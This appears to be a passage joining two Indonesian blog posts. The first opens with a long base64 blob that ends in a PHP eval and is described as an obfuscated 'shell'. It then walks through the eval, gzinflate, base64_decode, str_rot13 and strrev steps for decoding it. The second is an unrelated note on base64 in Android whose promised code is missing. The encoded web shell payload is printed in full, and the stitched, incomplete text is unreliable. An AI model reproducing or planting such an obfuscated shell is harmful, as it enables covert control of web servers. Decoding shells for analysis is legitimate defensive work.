C2HUrx/QHYSK+igvTO3TIlFp/Xjm2FcJL40alneU2rVlOvb9cUKbn+VqW/5BYZMip+WrvgVnuQ3/VtCeN1qs4yV19psefZmZXdqFc8vtfsXw7fRiszGXiUF1uhBusV0L5cK0Ne3+rbLrmq4xClaEsXxBd9OhtFssJeVaqBKm76p9p/dWl3lY+cf5sriR7tax4NOvxv5aU/4XbdYRusIk9i1u5l4k6kjY+jzLXTb/ubWfbmCa7tvkPdDCthHD4Lj+SU79WNZkpAJAUDyz8V3+GKKMVjO8uk6zwE4RNJ4ir/stoOuUaItGeArRIvlM0sWLBR5k989/V6FS5Qq+pZE5A1XZtKpTXbkM475uC9sR44hbbCN/RXFQpThzAjivPlsPuRt1wyHE3T7dQfyVhWwNxAJZ6oQSIwLNu6+oPRc/dP9mpBq1sGP9/K8tFsJa+jk8oqHfHV+gmDpQamaf0R6TUZng2Lx+IyPxft/jcaSOGGPkJxyurzAUt/p0NZeKqLLNjllue2Ngko0kDqVdTRMUd4+g5Mw+1jHZdqsulj19LxDhLV61sCjBscbhotvqZA6VfNDFqqjxQiXBCvQJ4mS4OwHx4vJU3v6VIEnqrjXwqLvDw3Cq8ZVJuup+n4isNPEuO9Kfat04oUA0sI/9ObHjvZnQ1U+UDEpW8du++kHUI2KCr4e9CsD/BmIe41fEi0pZv3zkkvH8C50xZY0q4bX1yG/Epwb+7CPolGqFeKx1x9KtbW7iXgW7hl9Dize/2aO6h+9DQ0V/QnRGOjwrQbEV9jC/4XDtoYhA/PtPzTRTql+TtgqIRj//2Ks2yiXIZsoheV7+gisLnnTToxCbrLwLohgaN+kbR81lmSJiVc/0axO4M8MBcLtQkQGZCNN+76Hwhn1k90QttQm9oWSQ7G0xTtOKHFRLnEQhwG3daELaUS/t8+HCDtiqe1OEz4SRU0eluTIyS+6NTCr1BposlODIBtv/ceOuP8s9OzMU0m09m4rji7auqnMXx/mb806mTY60NU6V+l62FsjgoUOOLrTuvVxHCcNrJGJRlXWjP/5ywF2tAIwYkSm0vK1AhiweJDcEMmDWKrGb4XkunjmUyFPUz6GS+ecxYnWxOCDdONo9bECbfpz2GY2ykNHIjLaqLHEUCYHzerYxoObvoMrh4id20jYxx8Hu5gHW6WDmw+e0Gcs8fDE4FjP2RJeQvo2O3IwLF5Dk9RmDlgFF8J5cOQtP8lwSTTWVpnHz/oHIsvbO1jhPUdsaUfkf2KPL/D2k6/krNynTRgQEwqKsvntLLNb5OPNRbCsYW8JVRW5PC8G2wtwTBN6S5m3RGCEH43zhjSssHyPFv+cv7wR6/tn9gqikuryIIZR+1Q4rX0O14tiw/p6kwO8REMVP/w/4+5k+Hhf68d5Xple8gaTHI1lM8nxiC8FluDRyvmC/cGCF3awd2hbM5y39Px/QpviX4QOv4S5TGF2QUC+E8Q2qIxFBtjIbe/qN4YLRr/ijExAj+p4/rv45shbApHb4MTRkkwawTEPiJu8zN2fEVfPuIsT3C/QBYcGUdOuSZBPd/VC98hYy0fqjnC1vKlqCbesYka5LrT8vmxjBWBQ28Vue8CDBAmqVJNl7YAjbpv3ncpA//IrLSr2RtiKxkiL2SywXutUSAeKNYMFyQTPmvVeERE0inYC99UT61cCgOb/B89MPmKQhzUhPkfCDbDjdPO00ZN1gZ//Z2OIRsN5N5LAveMCxivL8+3QIX2E2+0704yswNpm/rql3z/TC+i1P/7fVz/AiEuKs8/bE8CxM52i52m/L9lVwHY4Cxj/PW1BuADmzMEY2g7xHhB10+0d04KOGipPsDr2/tsXCTAe/3i3UzAc//Zd3z+qwmOvrvFLV+zh9PZQ9UL/CIpBRTO4s/kQUrA8Uyd5sAytqhEjr1X43nR8sk5+ckoMk0s1Iy8Xe3c4GLoUt0Wg19i2Lo/1UHGuHN9G3jmESEIDxDg968Zk1KfDTvoHJfK/kt39mHkGy635fqajIw+6m9skUT9L0B44u+lGGe/pfi1clQTKX1zS6CBQ8rLZcGREapBHfN734ep/+Odjg7Ujq8qOh/KOPqnvPp45JUcsvYW9e429vst8Eli8EYByTX6FtG3OGiH31djLT+ePe6fuSLC2Uc6Y6ZekO/ct7GcLxHe3nx14ZtBvg+vROIu69Y8CFNs0jePp0FarVrs+WrukvrOYPIxT6EvBfHivbdmCJWC5VbV3CSTtKUqIUy4q1Rmq7JbMew5BWlRWRx+I/CEH4bnw+clc/wfXb+SldjXMIV17GuLve/OlaDdiEwtx96antZxE/ds1t0mJ/viqWzg3SaR5Rq4jceZkf04Vk/Yc/IiGySR0rB3AZRXUAoI8WD7DtAP7UR1lhntg1J3SNXyBH9Y6sFQc/63y553KS9gDiS3B1+RXr4npbnexFeG4pVvCrUX+BQG8RUajqHEQj1zD84ow+v7+BxehJiThva/mKZDmfreL+vzq30CogiN9OO6zc0M6DjYOVZG2JoyNIQMYOllk3kSSewv4BXw0+4aE784mbEKNDoAoSuexYBBJa/52shtBr4OEiXGlRY8S2rbMz6wNMP9qFxy8V6FfsL4QvfN0VcG9aF3ZfNBHmajscJJIz1Kjj97C2gPk+bp1v7dUdt7rOqlmiHkTQPcV9n3w165svWNlfw3bGTInBk4pN2eP/bCDwRLbNVgrdTNfJaONHaUv6TJ4PjAHbKZn6vUnRtKnA+03iGmRoskLQEPnj0EbTtZbmRf3M22R47K9X6UADdTMWyyO2qHuUnLBOUQJyzgTRWK8LPn+NEnETbLkYFDHiolsIHu8I2Ckic9VYxD+L8tYFADQV8U3V53CVQB6R1r3EHhvtw4IUjGeqcO6J5B2TcPGZt/rOIgr4sj7k19OJQZjUDI77LXPcPMtCsOcj8iEp9UQjTjIfAIb5Y2S4n5xnMmPsFHxOaIz/GAyws2wswAQr+XTuK6vL+5lq+DNHwhD7PLXvdlDJvU1VPBbOdCvtbVlC9UcB+44E8iXOsrZUmfCz5mWvA54bOgGO2/EZemyIKLKB8A2ofngpVhzl1+fO4phYK0C7/LSjYTtNGhAuDijWDXuaP7ux2JS4evyPtTYOQgPUjT13t71OwCuvtckQJQD7Tfx3uAeBnMtLN8hJO0TiAHIwC6iUlUUKkf1Vv3Ij3FtV8CRW/3VPzl4d9mj4ZuKW8h8H1bStF3uDs/sNoOp+fMmdcwV7W/+Q9oNBKvQ+m3aE0G/IqUxo8/rZK9x87H1OnN8/5ZrzSo4Cp8ktUdJpRfuXuuIfZFwRRf37GCrPYUh+MK4rOP4ZY/W4K4CTnWTL3x5roNlC+Ahcm4JApIam3iRLwUG+z+SimBzdQW6M639sfPUlqCUPPuE4kAOut29GTf+E5MXTJ6NGYbG/hXG0KWc4/QpU7qw7/juV7KumPq5PAOCoxiuAdvX2Rrk6HkNt4mXW0Ngx1QNRHTiVrAl6qj3JyafYQAlyNUZE9Q4s9Gt/yL47dqcEQa+w+8iEaH4Uy2PxOi5czEZ4hzwT1qTL8xvLDiaDJVb6O3xoCuIPnmUaVJtjkwwEK2WYs79ySHHAvf25DOB+aB/RfQaOLG9zwLzB+annBLEfLK6VYXXH8Op54SubGHZToRl39CDHu2Jjso/NL0BA0I7BIj7kD0tojRHHU0aJvOEk4AOqxTvmHLmPQlw2SyO7EYHLs/MZrPUjwj4u0h8H0S0a59urZjUauuKLJv9jplu06KU/s/zacmav3SjrTqlbBQ7jL3+cMgp2ODnpfYsNORB1P2YYTdX7Xt/tp4nVn+4jifD4q+BPm4BCj5Oiukrm/u+ppa4scNjdtiahQZtO8Rk3QjhpHTYS81D3UUAKKx8KtzR4KNFrAVHE9PMF3w3+yJCQC3L/uAu7EzIdDvCj/nrkiRnuyQFqVP8XFIJyGUqUNTUhCkVNHN6Pxv+bFEJkQ+jCtNbVIbND/kjYxmKEqyhVUaoffoO6GHpUnYHuEvekkIpt+/6SOCjHv3NmIgctQtjvmVsVBPinjq/UvHw674/fsDhfpP+ujxQfwDeSQquo0B98eFUunppjIetdLtF45ddYY2W2rKUEUjxDL4IRBNcrqOTDRI/GoBNiAfobZLhbGNQEgyie2hsSD1qvhrojIMu+qNJY1LQQglbMYO/DWoLpiQ2GisvmtvWFjQbCVy4UMX4KW2RFf8udC4NPUFvhb6LKw6Ci6lCer1oKQkPbN3Lu2tsrt9Aem+XJXhenqLEv/BAtBzPxxpkQcAVnaVFVuTbtIpsSJltqU4OtaPKqwWt2EoJrPN/vDqw/zGOJajUaWvNf6QfhUVQoR0QpCF4EEpdvHWSWljhR5vvjOQ7spftFeeUbNk+2sFzpNa3RruPrLtEyQjL0rHzfhDEGpigp1S9BeLu2uElFLgyOrr99Ct4S+pGNvnsuEUO/iraJEkIlw/N0Q2t4GhVN+jfXvi/SGYajxL0O/BT5zvSQRJjR7r7+jPuoijP//osJLxBFTporyB6WHc94JRt9mlD+5kW/llLymUNKgscNeHWlXzl8moN5XtDMj2NvsVpJRdCNsV2DqpFNDKR4QbDJHl+/uQQqmVTJX4sC89jBNAD0I1XkJYxeNDf2VhLVYjKJkvoPaAjY+WRUHi/N1L/1TUI8kWtI2r4uyep9HYp7UO9QOLPVJwKO67EMIwHKXDiUqiBp9/cvMBPCT2Q+eSQj+Vvty1nK6/E/1MEbvBZhYaC1QsEUHu6BOv5BbBC1TR6I1gChAu3t1cNFOReffl9aQ+toOt8RPAVMxJyLUulVvtDeVNavtoVJPLGdlPWCNxPdSff4cxUET5HM1ttE3zp7+aOxxxFAj/34OgR/NfsRLM6kGNp4E43OFtHiOzPANdwTzthUHYTZVBdjhH1uOZFNrS6WRhHtwUNN9L5R6UgPpjNUsTgvxyXGYtyLNn9ULbBpo16tWNDxq84N6o0NiD0PVjPV4/lG6QqvTGO7+Es01YJKs3GjP+wRQDY1Yqxqw0/KsQFCDuqrTQ9+aWCcXq5UWFXu5eUTep6t4voTdf4CONSaXP6sLFOmqR4mRfSGsB2UZ+65CA0IQDgMx33kbwOjrZ248RGhra9iDHImlyIbLPmO9q5OHXlPdJp9xLePgRQdU6wBinRjiPgdJDC/DXIlPmU0zbh8QkqPZVFxswVn+VIgCgc6Gp0K0pPteb9y4AHCJSLXbvNdObbcl/yBOpuuTh7+HWS9rjoXB6dTvW7YmLI5DztOhPQ0q5/y+8gcK0++SMCWJiUuT3m9Bph2EDvFDCDKAbUq65htuSfQ/4Ixw6QWWC8bY5OM9ay9OVJGtnzOXBnh9ezbX7mawqOTzei3P8sEASX9tG+/5vnTrEubWEmBGbrYi/3tFeIwKrLhx/6qEh+CiTOFJ5EAxk8RkjChOPq+/efOXqxPIgTbGHQXXVrTtewVhW1iOzJ5LS4JR419wtLNrN41fTtYRbhrg7su9rtw3EJ2b832cKu/qiRrpUJ2T42udi4VVcDWbBM1g9+2C0O15WLWbF+M0siS673iYXER6qt/OZZNnB8rfuV7BVyNvUn66wXNYRKntL7OPA1dZfZejSK219DisST08T6kR2lOfQNBPDLwLJDR+SMQZg5ObgWPBZZsXkfNDAsWySfGBUNKjquqPHxXNd4Gox1fww9gWRWr/qHzOGUV3lLUGvAXQ+nI5r57PbYC/ie/UWQ/Q8vUCBxTcNi4XP7jC7uqFx7sy9LVBx7WkUY+D2GLrdp7efaTtoYsP7+VVoafNrRMPDx7oIjX/s6G+iN/aVMqm9F85kN/ZOLYjd9FeKs+VvtV9stY9/PmA+DghnpexjAVhhN8ARnJdlodP7OCZBdPwWU6n2P1mtg5Z8CHjyOOvQsR+aRaNTAy87FeXot5H++uoCOE8O1aCq9j7RtFOSCiqp4e5pWp30iWPtud+zbNvFsENtXnxlX7Fb+Ox9JS1FNGOoU8wSqHcFPVpntFKYO9NWP3LuuMbpWtLCNyNU+8WSldwfdl3Gj7TB95sN2W0TS3aD4Tq2UuSzuu4kDhsliF8hpv8wEJww7x8xspF7Xtq8ibbklY7DB9qtbSjTAzTXjaqn3UP7wNQhNMjtwKFqIexU9JtbyfdLkt9paE4qQRYE4aILI0LAZscAXa1qLXol5LqYdSEb4NsaHxTNiKD9VYQ/7vUL3d4w9+hg41DOOIBp853iCgZjR6QtX7xqjxRBHWMdP9BJ1u7HRlrLY9LSVWOKSNXOWpmTiV6cD/qUZ/O7oNFVEEOJxN4zFN1gtGGjsq7oVD748S/htU0/q1XHCbsgbtrargNP1pN3KLBhfIEjEI0Dv+Q8y2M3Rt/Fv31NNhoPvNrsEfuvmVNnYj0O+D+bVJI+2NNjFQu37EMIAi8oRB1mSBysnM26BWHANUQDVLfmeNWu9YMVdU0CpycHkCddwheAbAUN8ORwE6ZD6wYLCb76RYn8XJzwu7wl6K7k34eFCRmXQa0ppSwqMO9m577O0eWYxK/T6x1vULsmxjf///li5XD/Q+MVtGLdncj2ODp60f/N9YDH98MhDc97m4Z0YpukAbj2H/IVBpqWCMm0izwHDV8VtoWNjKNsgakxINL/2MAwscRLBqnbirLKlO4YRM3kRZEQfWs1jJwb7vXiirtjD581Q8uFpsElDS33syBHNIN12kDilYgBMSL4pqGvxiKr9Tv6omLrWSH66lspCR/PdOfzTsvgBceYX+bFt7bT/8Ul6+Gi9iSgHTQw7Xd1oG1qvP/MqPu4yoOlAD6kke+bj/Xeztj4HFYU/TlPbIDE/myKyDsO0P/CVaavwJvY6J+wjQvg+I0pjkJTeNMjJMM10HVSLEvwr5zPrq4moxY9jpVs9zew5SAqYKOo9IQjB3uHpjfkZqDSHuH9lU1rRQmyo/VpcLGAYBDxGcVddCPrDEGFCNO8LLmQpoDERO4wWXdQChY07vbCX/mnnn/8oiPeNwRsDe4HLL682eifTgvIqA78vbWihdHcNofZ6wn5TOUpLJdyY4GDQBe1j2+LgOLo0fcnN/9Xtv7ovPnN71Vf6ueWfjqZJFovyRp3HQKwOeGHSEF2sQRu9aL/RfKHgJElj9573L/06SGIfTh+eh5Vtg7IfwqA4T7lfolBAY3kfTxBSNDN/813H0f2UrHfi4FqprqpgljdANcmXH1O+77u+9a1gbcnXhzYVqjDHrayU1qSJHT0XU3/0w7ih4paEU3eEZ62h+5DdjHKLUi62ei+2eQ/7sm78C/s8h+2SJJSAYq0lWzTziOeqQ3D+puRbJRdDSdNSRR5BzriCaaGzUCzfAaXVP4//cKsFER3AFR5ICpg7d/rgFfVgCAEwdIxW5jO7a1VUIxsB8wvf4f9rc1o7'))))); ?>

Karena tadi eval menjalankan $syntax=

Sekarang kita akan ubah eval untuk menjalan encode <? eval(gzinflate(base64_decode(str_rot13(strrev('isi encode')))); ?>

Sekarang kita buka lagi shell nya apakah ada error ? jika tidak kita langsung decode shell ini ..

Jika terjadi begini selamat agan sukses :D :D


Sekarang CTRL+U Lalu copy isi semua code tadi :D dan tambagin <? didepannya ..

Selamat ..Anda sudah menjadi programer kwkwkwk :D :D


Thaanks  Sourcode :  http://dumaicodes.blogspot.com

Base64 tentu kita sudah tidak asing lagi, base 64 di gunakan untuk menyimpan data binner kedalam sebuah text, sehingga data binner tadi dapat di kirim atau di simpan dalam media yang di rancang untuk text.
Sebagai contoh apabila kita ingin menyimpan sebuah file mp3 dalam file text tanpa menyebabkan resiko kerusakan file mp3 itu sendiri maka base64 menjadi solusinya. meskipun begitu data yang di encode ke dalam base64 ukurannya menjadi meningkat.
Dalam membuat aplikasi android base64 juga terkadang di perlukan, singkat saja, langsung menuju intinya  berikut ini code yang bisa anda gunakan untuk meng-Encode dan Decode base64.

Sederhana bukan?


Thank's Sourcode :  http://www.ttsberita.com


Tags:
Encode dan Decode Base64 pada Pemrograman Android
Tutorial Encode dan Decode Base64 pada Pemrograman Android
Cara Encode dan Decode Base64 pada Pemrograman Android